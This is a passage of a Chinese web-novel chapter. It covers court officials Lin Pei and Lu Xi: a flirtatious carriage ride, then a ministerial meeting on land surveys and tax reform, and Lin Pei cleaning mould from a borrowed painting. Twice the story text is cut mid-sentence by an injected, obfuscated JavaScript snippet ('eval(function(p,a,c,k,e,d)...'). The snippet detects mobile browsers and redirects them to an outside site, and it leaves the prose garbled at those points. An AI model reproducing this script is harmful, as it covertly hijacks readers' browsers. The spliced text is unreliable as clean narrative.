林佩和陆洗并肩坐在车里。 青缦剪碎西斜的阳光,丝丝缕缕拂过二人面庞。 起初很安静。 陆洗虽是春风得意,但适才几句话之间觉出林佩有些情绪,不敢得寸进尺。 林佩不知怎么,许是那盏太禧白的后劲儿还没过,许是那颗话梅的味道太酸,本来无事,只是一想到陆洗与姚家那位貌美如花的姑娘说悄悄话的场景,心里就像有蚂蚁在爬。 他自知不该多管闲事,可就是抑制不住地想管。 “陆大人。”林佩捂着暖炉,审问道,“你是不是有事瞒我。” 陆洗从袖子里拿出一包糕点,边抽解绳节,边思考原因。 他以为林佩是看到了他和林倜见面说话的场景,但转念一想,当时河边视野开阔,即便被远远看见,也应该听不清谈的内容。 陆洗道:“我们之前见过一两面,寒暄而已。” 林佩吸口气:“人家还未出阁,你就见过两回了?” 陆洗闻言,怔了怔,眼里立刻浮现出笑意。 原来问的是姚家小娘子,那不急着解释,饿了一天,先安心吃两口再说。 山楂酸甜的气息弥漫开来。 “知言啊。”陆洗道,“你又又误会我了。” “我也不想误会。”林佩斜睇一眼,往边上坐,“敢情你这人见一样爱一样,就做你的多情郎君去,又何苦陪着我雪夜敲竹,与我说那些似是而非的话。” “谁似是而非了,你要听,我便说的明明白白。”陆洗道,“你我这样的年纪,见过世间利来利往,更当知真情难得,你什么都比我好,只一点不如我,你弄不清自己心里想要的东西。” 林佩觉得喉咙发酸,吞咽了一下。 陆洗道:“林知言,因为你是吴老丞相的门生,所以第一次议事我就愿意信你,然而朝会之上你骗我,郑冉的案子你又遮遮掩掩,我险些以为你和其他人也没什么两样。” 细麻绳挂在纸包上,随着马车颠簸摇摇晃晃。 “可你称病之后留下的那个箩筐那些文书,又真正让我见识到什么叫不计名利,什么叫心怀四海,我真是欣喜若狂,不枉这半生攀山涉水,总算遇到一个可以交心的人。” 纸包散开,掉出几块糕渣。 陆洗俯身去捡:“我对你有情,可又不能说什么过分的话,怕把你惊着,怕你心里还有别人,直到在平北与鞑靼数十万大军对峙之际,你那一句‘物触轻舟心自知’实在是把我心中这团火点了起来,我想不行,即便你心里有别人,我也要把别人挤走。” 陆洗把碎散的糕点渣子重新包好:“我心悦于你久矣,这样够不够清楚明白?” “可我不悦。”林佩避开目光,埋怨道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749287|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“尤其你这样,一边吃着我教你做的糕点,一边说着和别人家姑娘的往来是非,叫我如何心悦?” 陆洗笑了一声,连着反问:"敲竹那天夜里不是你说不想给彼此添负担的吗?现在看我跟别人说句话都不行?咱们是什么关系了你便这样管我?" 林佩忽觉暖炉有些烫手。 爆竹声在街口噼啪作响。 马车驶入人间烟火之中,孩童欢闹嬉笑,倩女当窗顾盼,郎君牵马过街。 车厢里的气氛起了一丝暧昧。 “好了,别生气了。”陆洗把暖炉拿开,抽出帕子擦拭林佩手心的汗,“君子论迹不论心,此时解释都是多余,往后你看我如何做便是。” 林佩道:“这事是我不好,说不给彼此添负担,却先对你发难。” 陆洗道:“成天见你雅量玄平静著书,偶然一回倚门回首却把青梅嗅,倒也别有韵味。” 林佩道:“以后休要这样,宫宴之上多少双眼睛,被有心的人看见指不定拿去做什么文章。” 陆洗道:“瞧瞧又管上了,这么忍不住,还说对我没有情。” 马车轮碾过石块颠簸了一下。 林佩往后倒,腰突然被一只胳膊环住,扑面而来对方身上的柏子香。 陆洗道:“当心。” 林佩抬起眼,眼瞳微微震动。 风月情事在他心中一向是朦胧含糊的,但就这样看着陆洗,居然立刻变得具象清晰。 两袭绯袍交叠。 刺绣蟒纹纠缠在一起,丝光流动。 林佩胸膛起伏:“做什么,我不用……” 系带抽拉,气息交错。 “你的梁冠歪了。”陆洗轻笑,扶林佩起来,“我帮你重新戴。” 东长安街的街口,马车停下。 从外面只能看见青缦左右摆动。 “后园那扇小门之前挂着一个铃铛,是专门为你而留的。”陆洗说得很认真,“往后你想见我,只要这样叮叮叮——三声响。” 林佩没敢认真听,冷回道:“下去,别逼我喊人。” 陆洗倒也没讨价还价,捋好衣衫,回头拍一拍坐垫就走了。 街上人流如织,车水马龙。 花厅画楼声声管弦,佳人声娇语软。 帘子掀起的一瞬间,叫卖声、欢笑声、锣鼓声如潮水涌来。 林佩目送着陆洗坐另一架马车远去,些许回味,些许错愕。 几十年的人生光阴之中没有一个人敢像这样对他大胆妄为。 他当然知道陆洗是什么样的人,嘴上说不纠缠,实际是一处破绽都不会放过。 他只是讶异于自己身体的反应。 他对陆洗的确是有情欲的。 这种情欲不是出于气性相投,而是对截然不同的人生经历的好奇,就像从小到大吃的都是米糕,有天路过肉铺,突然嗅到了一抹诱人的咸香。 * 正旦过后,天气回暖。 千步廊上的官署忙碌起来。 林佩初三回文辉阁办公,温迎比他晚三日,其余郎中舍人在初十之前陆续到位。 相比于一年之前略显混乱的局面,而今朝中官员自发地形成了某种秩序。 涉及工业、商业、市税、关税以及北边的外交和军防,就去右侧屋找陆洗; 涉及一般赋税、礼教、考功、刑律以及日常公文流转,就来左侧屋找林佩。 是日,各部堂官来议调整赋税之事。 31.赋税(一) 屋子干净敞亮。 一副行舟图挂在木架上。 方时镜和杜溪亭一进门就围绕画作讨论起来。 画中丘石嶙峋,林木苍翠,江水绕山而流。天阴微雨,乌篷船行于波涛起伏的水面,一位头戴斗笠的船夫正用力撑船,其神态谨慎清醒,与另两位撑伞旅客的安逸形成鲜明对比。 尧恩站在旁边,举止谦逊,颔首等待。 于染稍迟一步,带着户部分管民科的侍郎一起来。 林佩与众人解释,画是从宗人府借来的,上有先帝早年的题词,寓意是水可载舟亦可覆舟,如果朝廷不重视民生,就会失去民心,失去天下。 “这些年,土地兼并的问题不止在广南出现,全国各地有愈演愈烈的趋势。”林佩把手放在一叠奏本之上,缓缓说道,“本子就积在这儿,从南到北,从东到西,看得人触目惊心。” 方时镜道:“知言,调整赋税之制,去繁留简,看来势在必行。” 林佩道:“做这件事并不容易,开始之前,我想听一听你们的意见。” 杜溪亭当即表示认同,尧恩亦没有异议,只有于染面露难色。 林佩道:“齐光,你有话就直说吧。” 于染捋了一遍胡须:“林相,下官在户部十年,深知其中利害,倘若朝廷调整赋税动了地方权贵的利益,极有可能造成动乱而得不偿失,与其节流不如开源,为使国库丰盈,下官更加认同陆相的做法,当发展工商,鼓励贸易,创造利润。” 林佩似料到此出,不容辩驳:“根基不稳,枝叶散得再多,徒招风耳。” 于染顿了顿,退后半步,引户部侍郎万怀上前。 万怀分管民科,负责管理人口及物产、田地的统计。 “林相已经决定要做此事,下官必全力支持。”于染躬身道,“但户部事务繁多,下官一人有时也抽不了身,万侍郎年富力强,今后就由他参议调整赋税之事,望林相体谅。” “倒也不是不行。”林佩笑了笑道,“可惜的是你已经参与了广南宣政,功成一半就此抽身,岂不是把功劳都让给后辈。” “那也是后辈应得的。”于染道,“下官能当好引路人,知足矣。” 话锋交错,人心博弈。 林佩习惯先占高势,一始挂出画作,便是强调自己做事既有名也有份。 于染也是有主见的,若不认同便不会参与其中,遂挑出一个年轻不知事的属下替自己挡箭。 林佩深知这句话不能随意回复,文辉阁没有不透风的墙,上晌这屋子里说的话,下晌另间屋子就知道,再过几日便传得朝野皆知,于是他提起吏部考功,言下之意是——纵使跟陆洗做生意有钱可分,却算不上多大的政绩,只有跟着他内修政理,才有未来平步青云之资。 至此,上下级之间达成微妙的默契。 于染抽身而去,把场子留给余下几人。 林佩看向万怀。 这人是六部里最年轻的侍郎,殿试前三甲出身,入仕尚不足十年,耳朵边上总簪着毛笔,一和上司说话就拿本子记,容易脸红。 “万侍郎,你不必紧张。”杜溪亭笑着说,“于尚书这是有心栽培你。” 林佩坐在椅子上,欠了欠身,开始布置公事。 “事预则立,容某先陈其纲。”林佩道,“税赋之更,一时的动荡乃是必然。欲镇浮言而安黎庶,惟恃两仪:一则自上而下均匀使力,如臂使指;二则方面俱到通盘酌议,立万世之制。” 一令礼部主持建立缩减皇宫开支的方案。 林佩道:“礼部需仔细核查京中衙门与皇宫下属机构职能重叠的部分,该开除的开除,该合并的合并,先进行一次精简,然后我请奏陛下,让十二监配合礼部删减各项冗余的开支。” 方时镜道:“正合我意,三日内我便可写出草案,十五之后即执行。” 林佩道:“很好,这件事虽然看起来和调整赋税无关,但它却是最有分量的,古人言‘无些子枝叶,有十分气量,端的丛林之榜样’,只有做成这件事,我们后面的路才好走。” 方时镜点头称是。 二令吏部于下月初完成官员的考功文选。 林佩道:“按前朝的做法,调整赋税之前应找一个地方试行一年,晋北地处中原腹地,地形复杂多变,又有大河穿行其间,地位关键,我几经思考,决定就放在晋北。” 杜溪亭道:“晋北布政使在任已满六年,理应轮换,我说两个符合条件的人选,一是升兵部右侍郎从简,二是平调前广南布政使李良夜。” 林佩道:“这个位子要承担很大的风险,从简固然才华出众,可相比于李良夜,还是缺乏地方经验。” 杜溪亭听到这个口吻,便知林佩应该事先找人谈过,立即给答复:“明白,就定李良夜。” 三令户部编撰试行办法,待春闱结束即发往晋北。 几人的目光再次投向万怀。 “林相,各位尚书大人,下官……”万怀的脸唰地又红了。 温迎给盆里添了几块炭,温柔道:“万侍郎,我见你来的时候还带着题本呢,拿出来念就是。” 万怀经此提醒,连忙从袖中拿出一道文书,低着头打开。 林佩道:“你有什么想法尽管说。” “下官以为,本朝赋税最大的问题是名实不符。”万怀深吸一口气,举起题本读道,“以晋北石尧县为例,那附近明明有三千顷勋戚庄田,是下官回乡探亲途中亲眼所见,可是当地上报的鱼鳞册中却找不到相关记录,可见如今隐瞒田产逃避赋税的大有人在,朝廷只有先把鱼鳞册和黄册盘点清楚,把赋税的依据重新建立起来,才能做到赋税均平。” 林佩点一点头:“你继续说。” 他没料到的是,这位万侍郎虽然动不动就脸红,内心想法其实挺丰富,而且也敢于直言。 万怀道:“下官以为,应让清吏司派官员到晋北地方去清丈土地,重新整理地方黄册和鱼鳞册,列出那些私并土地却不上报朝廷的人员名单,严加惩处以警示各地。” 林佩端起茶杯,吹了口气。 万怀道:“回林相,下官说完了。” 林佩笑道:“挺好的,我问你一个问题。” 万怀从耳朵旁边取下毛笔,蘸墨记录。 林佩道:“列出名单,不仅让地主多交赋税,还要予以惩罚,这样的阵势是在针对人。” 万怀道:“是,肯定是要得罪人的,下官不怕。” 林佩道:“先不说胆量,我且问你,得罪人是我们做这件事的目的吗?” 万怀一顿。 林佩道:“得罪人不是目的,调整制度才是目的,所以越是这种时候越不能直接动刀,要先给地方解读政令、调整转圜、保全自身的时间,靠这批人把制度推下去,再渐渐收口。” 万凿拿着笔飞快地写字:“请林相示下。” 林佩咥口茶水,接着主持场面。 “你们听了,本次调整赋税共有三条政令,其一叫清丈,也就是万侍郎适才所说的清点丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754518|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量。” “其二叫均平赋役,户部现如今是把赋役分开,赋以田亩纳课,役以户丁征集,赋役之外还有名目繁多的方物、土贡之类的额外加派。调整之后,当全部简并为一体,把赋归于地,计亩征收,把力役改为雇役,由官府雇人代役。如果赋役能实现统一,后来之人便难以巧以名目,丛弊为之一清。” “其三叫计田纳银,把征收实物改为征收银两,由地方官吏直接解缴入库,从此省却输送储存之费;不由保甲代办征解,免除侵蚀分款之弊。” 众人称是。 万怀盯着本子上的字迹,神色如醍醐灌顶。 林佩道:“你听明白了?” 万怀擦了擦鬓边的汗水:“下官回去就起草公文。” 林佩笑道:“真的明白了?” 万怀道:“是。” 温迎本想再提醒几句,被林佩用眼神制止,退到一旁。 林佩看向左右:“吏部和刑部也专门拨几个人负责跟进晋北形势,建全考功之制和量刑之法,争取八月定稿。” 尧恩道:“是,下官即刻往晋北提刑按察使司?增派人手。” 杜溪亭听到这里皱起眉毛:“知言,他刑部人多,可吏部的人不够啊,今年又是大考之年。” 林佩道:“那你从刑部借调几个。” 尧恩:“……” 杜溪亭立刻转忧为喜,应承下来。 几经商榷,林佩和各部官员议定了开春先行的几件大事。 人走后,屋里安静下来。 炭火在盆中哔啵作响。 林佩走到行舟图前。 他正欣赏着这幅古画,突然在画纸边缘看到了几处霉点。 “温迎,弄盆皂角水来。”林佩叫人,“那天借画没注意,别是在我这儿长出的霉点,还是赶紧洗掉的好。” 温迎跟来一看,连忙放下水盆:“哎呀看来真是,这不行这不行,大人,请画师来吧。” 林佩不等说完,拿了张白纸铺在画的正面,一笔笔往上刷水。 温迎道:“啊?” 林佩这就上了手。 白纸被刷平。 笔尖透过白纸抹过画纸,一点点洗去霉斑,散出皂角的清香。 那手法极其细腻,去旧陈新,丝毫不改古画原有的纹路和颜色。 温迎见此,悬着的心逐渐落下。 他不知林佩还有这门手艺。 林佩举止从容,一边洗画,一边问道:“你怎么看万怀?” 温迎盯着画,想了想道:“他并没有真正明白,只按书面去做,恐怕还是低估了阻力。” 林佩道:“他敢说话,是想干事的人,但不止他一个,永熙十四年以后科举入仕的这批官员,现居五品到三品,大多都有这个问题,文章正韵是好手,却不知道推行政令的难处,缺乏实干之能,而今一年之期,一省之地,有李良夜把控着,料他闯了祸也不至于无法弥补,届时再加以训导,等磨平了心气,将来还是堪用的。” 温迎闻言有些感动:“大人真是用心良苦。” 霉斑去处后,温水一冲,翻过来正面向下揭去白纸,古画便焕然一新。 “这多好。”林佩把沾染霉污的白纸丢进火盆,笑道,“何必叫画师来,弄得人尽皆知。” 他用皂角洗画这事,看似神不知鬼不觉,最终还是传到了对门的那双耳朵里。 晚些时候,夜色已浓。 林佩吹灭灯盏,走出左侧屋,见陆洗坐在大堂等着自己。